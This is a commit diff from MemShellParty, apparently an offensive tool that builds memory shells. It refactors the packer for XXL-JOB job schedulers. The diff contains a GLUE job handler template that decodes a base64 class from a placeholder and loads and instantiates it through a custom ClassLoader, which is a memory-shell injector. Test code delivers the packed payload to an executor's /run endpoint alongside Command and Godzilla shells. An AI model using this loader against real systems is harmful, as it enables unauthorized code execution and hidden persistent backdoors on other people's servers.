mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
refactor: simplify XXLJOB packer
This commit is contained in:
@@ -84,13 +84,9 @@ public interface Packer {
|
|||||||
|
|
||||||
Velocity(new VelocityPacker()),
|
Velocity(new VelocityPacker()),
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
AgentJar(new AgentJarPacker()),
|
AgentJar(new AgentJarPacker()),
|
||||||
|
|
||||||
XxlJob(new XxlJobPacker()),
|
XxlJob(new XxlJobPacker()),
|
||||||
|
|
||||||
XxlJob230(new XxlJob230Packer()),
|
|
||||||
;
|
;
|
||||||
private final Packer packer;
|
private final Packer packer;
|
||||||
|
|
||||||
|
|||||||
@@ -1,30 +0,0 @@
|
|||||||
import com.xxl.job.core.handler.IJobHandler;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
public class DemoGlueJobHandler extends IJobHandler {
|
|
||||||
|
|
||||||
public static class Definder extends ClassLoader {
|
|
||||||
public Definder() {
|
|
||||||
super(Thread.currentThread().getContextClassLoader());
|
|
||||||
}
|
|
||||||
|
|
||||||
public Class<?> defineClass(byte[] bytes) {
|
|
||||||
return defineClass(null, bytes, 0, bytes.length);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void execute() throws Exception {
|
|
||||||
String base64Str = "{{base64Str}}";
|
|
||||||
String className = "{{className}}";
|
|
||||||
try {
|
|
||||||
Class.forName(className);
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
try {
|
|
||||||
new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
|
|
||||||
} catch (Throwable ee) {
|
|
||||||
ee.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,6 +1,8 @@
|
|||||||
import com.xxl.job.core.biz.model.ReturnT;
|
import com.xxl.job.core.biz.model.ReturnT;
|
||||||
import com.xxl.job.core.handler.IJobHandler;
|
import com.xxl.job.core.handler.IJobHandler;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
public class DemoGlueJobHandler extends IJobHandler {
|
public class DemoGlueJobHandler extends IJobHandler {
|
||||||
|
|
||||||
public static class Definder extends ClassLoader {
|
public static class Definder extends ClassLoader {
|
||||||
@@ -13,6 +15,10 @@ public class DemoGlueJobHandler extends IJobHandler {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public void execute() throws Exception {
|
||||||
|
execute(null)
|
||||||
|
}
|
||||||
|
|
||||||
public ReturnT<String> execute(String param) throws Exception {
|
public ReturnT<String> execute(String param) throws Exception {
|
||||||
String base64Str = "{{base64Str}}";
|
String base64Str = "{{base64Str}}";
|
||||||
String className = "{{className}}";
|
String className = "{{className}}";
|
||||||
@@ -20,23 +26,11 @@ public class DemoGlueJobHandler extends IJobHandler {
|
|||||||
Class.forName(className);
|
Class.forName(className);
|
||||||
} catch (ClassNotFoundException e) {
|
} catch (ClassNotFoundException e) {
|
||||||
try {
|
try {
|
||||||
new Definder().defineClass(decodeBase64(base64Str)).newInstance();
|
new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
|
||||||
} catch (Throwable ee) {
|
} catch (Throwable ee) {
|
||||||
ee.printStackTrace();
|
ee.printStackTrace();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return ReturnT.SUCCESS;
|
return ReturnT.SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
|
||||||
Class<?> decoderClass;
|
|
||||||
try {
|
|
||||||
decoderClass = Class.forName("java.util.Base64");
|
|
||||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
|
||||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
|
||||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
-1
@@ -144,7 +144,6 @@ public class ShellAssertionTool {
|
|||||||
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
|
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
|
||||||
case Base64 -> VulTool.postData(url + "/b64", content);
|
case Base64 -> VulTool.postData(url + "/b64", content);
|
||||||
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
||||||
case XxlJob230 -> VulTool.xxlJobExecutor(url + "/run", content);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -39,8 +39,8 @@ public class XxlJob230ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob230),
|
arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob),
|
||||||
arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob230)
|
arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user